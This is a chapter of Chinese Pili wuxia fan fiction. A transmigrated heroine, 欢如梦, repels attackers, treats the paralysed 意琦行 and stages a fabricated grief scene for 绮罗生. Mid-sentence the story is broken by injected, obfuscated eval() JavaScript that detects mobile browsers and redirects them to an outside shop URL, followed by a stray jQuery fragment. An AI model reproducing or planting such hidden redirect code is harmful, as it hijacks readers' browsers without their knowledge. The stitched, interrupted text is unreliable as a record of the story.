禅风绕耳,洗心□□。净琉璃菩萨端坐莲台。
突来迷烟弥漫整个定禅天,烟雨中,数枝细雨毒针打中净琉璃。
身重异毒的净琉璃,再遇冲天火龙阵。烽火中,葬刀会人马以及毒耳气势而来。
“今日葬刀会要踩平定禅天!”
“北俱多闻冠号,菩提七夜能容。广泽天王法部,归禅合武为宗。”
“今日天佛原乡欲为炬业峰昙讨个公道。”
就在此时。
“江山图一快。人,不见血。刀,不收锋。”
随着清冷的声调寻见,目光尽处但见一人,站在红月下,衬着刀光冷白,曳一身杀肃刚烈。
“有吾在此,谁也不能进犯。”
“是吗?来啊,杀!”
大雾迷眼,毒耳趁着烟色,再祭细雨毒针,同时,葬刀会人马亦大举杀上。
一旁苇江渡、尔善多趁乱潜入意琦行厢房内。
“恶徒!”
“意琦行,为审座偿命来!”
就在两人逼近的那刻。
袖出如虹,挥袖成剑,一条白练当空袭来,将二人逼退。雪纱漫天,白衣布杀,苇江渡、尔善多血溅白练当场毙命。
欢如梦缓缓走出,看了一眼倒在脚下的尸体。自言自语道:
“天佛原乡的人……速去支援绮罗生。”
故意说给意琦行听完后,她赶到定禅天外。绮罗生一人对战天佛原乡、葬刀会人马,艳刀轮转,煞动江山。
突而箭风掠耳,利箭再度夺命而来之际。五弦流音,灵鸟化现,数道灵箭燃起金色的火焰,携带着漂浮的白羽,离弦而去,将绮罗生近身的一支支暗箭劈成两半。
箭风余劲不止,飞溅到空中,而后散落在四处,溅射敌人。一时间,血雨漫天。
“此处有我,你专心对敌。”
欢如梦道。
语罢,她搭弓拉弦,引箭射之。箭出,飞快钉在了眉心处,尸体倒落黄沙,兀自颤抖不休。
一箭毙命。
快速解决掉敌方弓箭手后,欢如梦与绮罗生联袂对上痕江月。痕江月见势不妙,撤退。
绮罗生收回艳刀,与欢如梦对视。欢如梦转身往回走,扶起净琉璃菩萨返回意琦行厢房内。
“多谢施主。”
“举手之劳,菩萨随我来吧,让我为你解毒。”
天踦爵赶来时就看到绮罗生守在意琦行床前,而欢如梦正在为净琉璃菩萨解毒。心下稍安,待欢如梦收功后,天踦爵才出声询问:
“菩萨无恙否?”
欢如梦对绮罗生点了点头。
绮罗生道:
“菩萨中的是西疆奇毒。吾先以兽花术驱去部分毒性,再由好友拔除毒性,如今已无大碍。”
天踦爵松了一口气:
“多谢。”
欢如梦摇了摇头,叹道:
“是我们牵连了菩萨。”
净琉璃菩萨拍了拍欢如梦的手,温和的看着她,拉着她的手。“怎能如此说呢。”
天踦爵问:
“外面都是打斗的痕迹,发生了什么?此地有血腥之气,莫非有人潜入到这里了。”
欢如梦顺势坐在菩萨的另一侧,道:
“你走之后,天佛原乡、葬刀会的人来过了。天佛原乡的人趁乱潜入,想要取意琦行首级,被我留下性命。”
至于尸体嘛……自然是毁尸灭迹了。难不成还大大咧咧的丢出去,让所有人知道她杀了天佛原乡的人吗?当然如果是意琦行,那就另说了。他会把尸体丢到痕江月眼前,贴脸开大。
天踦爵道:
“吾方才从血傀师那边得知意琦行杀了炬业峰昙。看来此事,是真的了。”
欢如梦轻轻颔首:“我确实听到这两人说要意琦行为佛乡审座偿命。”
净琉璃菩萨也补充道此回杀上定禅天者,确实有天佛原乡的人马,且口口声声要讨审座之公道。
“看来此事不假了。”
菩萨叹道。
“葬刀会能在第一时间就锁定定禅天,必是有心人透露。”天踦爵道:“将晓事者一一过筛,吾认为盛华年此人不得不防。”
欢如梦看了一眼意琦行。听见了吗,就是和你相谈甚欢的那个盛华年。
绮罗生道:
“葬刀会一直针对吾,能追到此地并不意外。”
天踦爵道:
“一页书葬礼上,武林皆知定禅天内高手云集,而意琦行反手才杀掉炬业峰昙。若非有人确认了意琦行已重伤难起,葬刀会与天佛原乡怎敢贸然攻上。必是有人透露,定禅天目前只剩你和菩萨镇守,才敢大胆行事。”
绮罗生看向欢如梦,道:
“但此人不知我请来了援手,让他们铩羽而归。”
欢如梦暗暗踩了一脚同为演员的盛华年:
“我未曾与盛华年见过面,只是从绮罗生那里听说过他与意琦行相谈甚欢。他应该也不认识我。修习有成后,我更多是待在奇花八部而非叫唤渊薮。若敌人知道我的情况,应不会用毒和暗箭对付你们。”
绮罗生向天踦爵介绍:
“如梦同时也是内七修之弓道。”
天踦爵点头,表示了解。
“天踦爵所言有理,如今看来意琦行须换地方疗伤。”绮罗生提议道:“武林中,能上通天道者几稀矣,如此关口,易守难攻,就往通天道吧。”
天踦爵赞同:
“此地已不安全,请菩萨一同移驾通天道。暂避风头。如此亦可与一页书前辈互相照应。”
净琉璃菩萨却说:
“不用,各方人马乃针对意琦行,吾在此地不会有事。”
天踦爵妥协:
“那好吧。”
绮罗生目露疑惑:
“嗯?一页书他不是……”
天踦爵道:
“一页书他没死。但因伤势过重,不能再受打扰。”
绮罗生道:
“原来如此。那一页书之伤,你可有头绪?”
天踦爵道:
“红潮造成的伤害,与龙脊的戟伤,皆须找到补肉之物。”
绮罗生道:
“吾先前心口受箭穿透,幸蒙鉴兵台君舍魄以未炼制过的流火阴铁补吾心头缺肉以救,或许此铁亦可用来救一页书和意琦行。此事便交吾。”
天踦爵道:
“好吧,那就有劳你了。”
欢如梦道:
“由我带意琦行上通天道吧。绮罗生,你的事更要紧。”
绮罗生嗯了一声,没再多言。
何须多言呢?
欢如梦知道绮罗生惧高,绮罗生为好友的贴心而心暖。
“跛九点啊!”
秦假仙带来了天佛原乡的人要去围剿魔皇的消息,天踦爵一惊道:“不妙!”他匆匆交代完之后就离开了。
“我跟你们来去通天道吧,方便有个照应。”
屈世途道。
欢如梦视线掠过秦假仙、业途灵和屈世途三人,当真是气运深厚。她作势欲扶起意琦行,屈世途见状主动过来把人背起来。
“劳烦先生。”欢如梦又看向绮罗生,叮嘱道:“你且去吧,有我给你的护身妖墨,一般毒素近不了你的身,但你也要小心。小心啊。”
绮罗生露出一丝温和的笑,雪璞扇抵在心口妖绘落墨之处:“好,吾会小心行事,吾答应过你。吾还欠你一杯结拜酒和一支牡丹没有还。绮罗生当铭记在心,不敢忘怀。”
很好,不出意外是要出意外了。
欢如梦心满意足的和屈世途一同离开,前往通天道。她带着两人来到岩浆上方的石台,将意琦行安顿好后。
“此处有我,先生自去吧。”
“那我就去探望一页书了,有需要帮忙的地方,你叫我便好。”
“多谢先生。”
新地图点亮后,欢如梦盘膝坐在意琦行身侧又开始装模做样了:
“想不到最后是我们两人独处。绮罗生,也当真放心把你交给我。唉……我实在不想看到你。”
语罢,她运掌为意琦行输送灵力疗伤。而关注着欢如梦一举一动的意琦行,心中情绪也渐趋复杂起来。只是他仍口不能言,四肢无力,只能静静等待医治。
欢如梦哪能让他现在就好起来,那不就碍事了。至少也要等绮罗生拔戟后,她才会松手恢复意琦行的行动能力。
她与旧日,真是什么锅配什么盖。
一个喜欢看人表演,一个有充沛的表演欲。
【我要傅月影的身体。】
欢如梦观视自身魂体状态,修补进度趋近缓慢。
她隐隐有感觉,加入一留衣的因果后就是极限。
她猜测,欢如梦这个身份所能进行的修补容量已经达到了上限。
菩萨所中西疆奇毒倒是给她带来了新思路。
所以她指定夺舍人选。是傅月影,而非欹月寒。虽然两者是同一人,但是如果选欹月寒,她现在就得走马上任。
欢如梦还有写好的剧本没演完呢。
【哎呀,已经学会向饲养你的主人提条件了吗?】
欢如梦不慌不忙。
【吾主愿意满足信徒的心愿吗?】
【你可不是我的信徒】
【我这样的存在,有且只有一个,我是您的代行人。】
【很好,你对自己有着充分的认知。】
这道呓语紧接着又响起:
【可以,你需承受此人带来的反噬,以及其身所负孽果。】
【你或许会被再次炸碎哦。】
那就炸碎吧,赌一把。人这一生必须赌,赌事,赌运,赌命。
谁叫她贪得无厌呢。
【我喜欢你的贪婪。皆时,我会把你的魂体送入她的躯壳之中,能否夺取就看你自己的本事了。用你之身躯取悦吾吧。】
行雨寄天风听闻欢如梦带着意琦行回到通天道,前来拜见。欢如梦讲述了事情的经过:
“如你所见,剑宿重伤。”
行雨寄天风向意琦行抱拳拱了拱手,道:“有什么我能做的,尽管吩咐。”
欢如梦摇头,道:“暂时没有。若想切磋,咱们点到为止。我不能离开他太久。”
行雨寄天风挠了挠头:
“被你看出来了,我知道现在不是好时候。来日再约吧,修首。”
欢如梦猛得愣了一下:
“自然可以,只是你为何称我为修首呢?”
行雨寄天风道:
“剑宿这么说的啊,他说你是我们二代内七修的修首。额……你,你怎么了?是不是我说错了什么话。”
欢如梦闭上了眼,一切尽在不言中。别问,问就是还有感情。
“没有,不是你的问题。是我的问题。你去吧,若遇不决之事可来寻我。”
行雨寄天风点头:
“嗯,请了。”
欢如梦看到了在原本的世界线中,苇渡江告诉风雪一路禅,是意琦行杀了炬业烽昙,风雪一路禅因此找上通天道讨公道。
苇渡江和尔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328721|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
善多被她毁尸灭迹了,自然就没人通风报信了。她度过了一段相对平静的日子,每日的日常就是守着意琦行,给意琦行治疗。
意琦行仍是意识清醒但手脚不能动弹的状态,但他感觉经过欢如梦这几日的治疗,略微可以看到一丝光亮了。
他竭力睁开眼睛,双眼仅仅眯开了一条微不可察的缝隙。借着这一丝缝隙,他看到了身披素衣,手握黑杖,头上乌发攒银霜的欢如梦。
意琦行的视线在她黑白分明的鬓边停留了一刻。随着力气渐失,他重新闭上眼睛。
欢如梦侧耳:
“你的脚步声,缓中微有燥意,沉中杂有松气。你内心有矛盾。是吗?绮罗生。”
此言与意琦行所想不谋而合。
那当然,这就是她从意琦行那里抢来删改后的台词。
“吾已向鉴兵台君舍魄求得救命铁了。”
绮罗生道。
“哦?”欢如梦追问:“铁有几块呢?”
绮罗生道:“只有一块。咱们这边却是有两个人,需要这块铁救命。你说,吾该救谁?”
欢如梦沉默半晌道:
“铁是你求来的,我无法替你做决定。你想救意琦行对吧,那就救吧。”
绮罗生黯然垂首:
“按理来说,一页书受伤在意琦行之前,其伤也比意琦行惨重。若让意琦行做决定,他会选择救治一页书。而意琦行,若不是好友你深明大义……怕是吾连今日这般抉择的机会都无。”
欢如梦立即打断:
“绮罗生,别将我的意志强加于你的身上。”
绮罗生感到无言以对。
一时间两人皆是默然无语。欢如梦看着他,无奈的叹了一口气:
“好友,你并不需要像我这般,面对家人和同修之间的恩仇。妖绘天华是我的家人,意琦行……同样也是我的兄弟。
虽然我内心不愿承认,也无法介怀。”
说到这里,她顿了顿:
”我自出生起就是一个人生活,既无亲缘,也无师徒传承,孑然一身。是妖绘天华在欲花天坛内抱起幼小的我,带我认识这个世界……”
反正妖绘天华死了,到底有没有这回事,还不是欢如梦说了算。
“我从未听过你说起过,原来你是被妖绘天华抚养长大的。”
绮罗生恍然。
没关系,不怪你,她也是今天才知道的。
“我本也是个六亲缘浅之人,不提也罢。老妖于我,相见之缘,食养之恩。莫不如是。”
“虽然我与他既无亲缘又无师徒关系。”
欢如梦道。
绮罗生却摇了摇头,道:“虽无亲缘,远胜亲缘。虽非师徒,远胜师徒。”
欢如梦喃喃道:
“或许他把我保护得太好了吧,他教会我很多,唯独没有教会我如何面对重要之人的逝去。他去世后,我浑浑噩噩……有时想起他的死,又觉得这是一件特别遥远的事情。
虽然心里知道是真的,又觉得特别的不真实。好像并不是我经历过的事情。
我怕我忘了他,我怕他渐渐离开我的世界。是我的心里放下他了吗?可我却觉得一切都好像都是虚无的。生来如花被割下,飞去如影不留存。”
以上全是飞页。
也就是没有具体的剧本情节,现想词,现赶稿子,一边演一边补充情节,全靠欢如梦的知识储备即兴发挥。
做演员就是要有信念感,说谎都不会还混个屁啊!
不管她和老妖过去是啥关系,从现在开始,妖绘天华比欢如梦的亲爹还要亲!
正所谓,没有台词,就没有剧本,没有人物的冲突,也就没有看点。
死了亲爹那是轻易能揭过的事情吗?不能。
所以她和意琦行割席有问题吗?没问题。逻辑合理!
家人们谁懂啊,她这个死了假爹的,居然比人家死了真爹的看上去更伤心?虽然并没有什么真情实感但是她会演啊。
欢如梦都要被自己的职业操守感动哭了。
不愧是她,干一行爱一行。当女儿也要当最称职孝顺的便宜女儿!
绮罗生把手轻轻搭在她的肩上:
“亲人的离世对你的打击无疑是巨大的,而你自然也需要时间去接受这个事实。从你的讲述中,吾能感受到你对他的不舍和自责。甚至现在来说,你还是不愿意接受这个事实。因为它带给你的痛苦,实在是短期内你所无法承受的。”
欢如梦无声叹息:
“我救意琦行,虽是因大义而舍私欲,然我扪心自问,当真再无一丝情谊吗?是有的。”
“但是逝去的人无法挽回。”
她转身看向绮罗生,只是一个沉沉的眼神,就突显出她身上挥之不去的暮气。欢如梦的眼睛没有那么明亮了,透着一股难以言说的疲惫。
“还将旧时意,怜取眼前人。所以,我愿把往日自己对逝者的那份真心实意,好好地用在现在身边的人身上。你可明白?”
直看得人心中刺痛。
绮罗生欠身:
“绮罗生承蒙厚爱,不胜欣喜。”
“所以我不希望你后悔。”欢如梦道:“我不希望你日后再回想起今时今日的一幕,而感到憾恨不已。”
绮罗生闭目,点了点头。
再睁开眼时他迈开脚步走向意琦行,将阴铁融入意琦行体内。
而意琦行……
心有千斤坠,却无一字言。纵有千万语,不知从何起。
他的心底唯余一声叹息。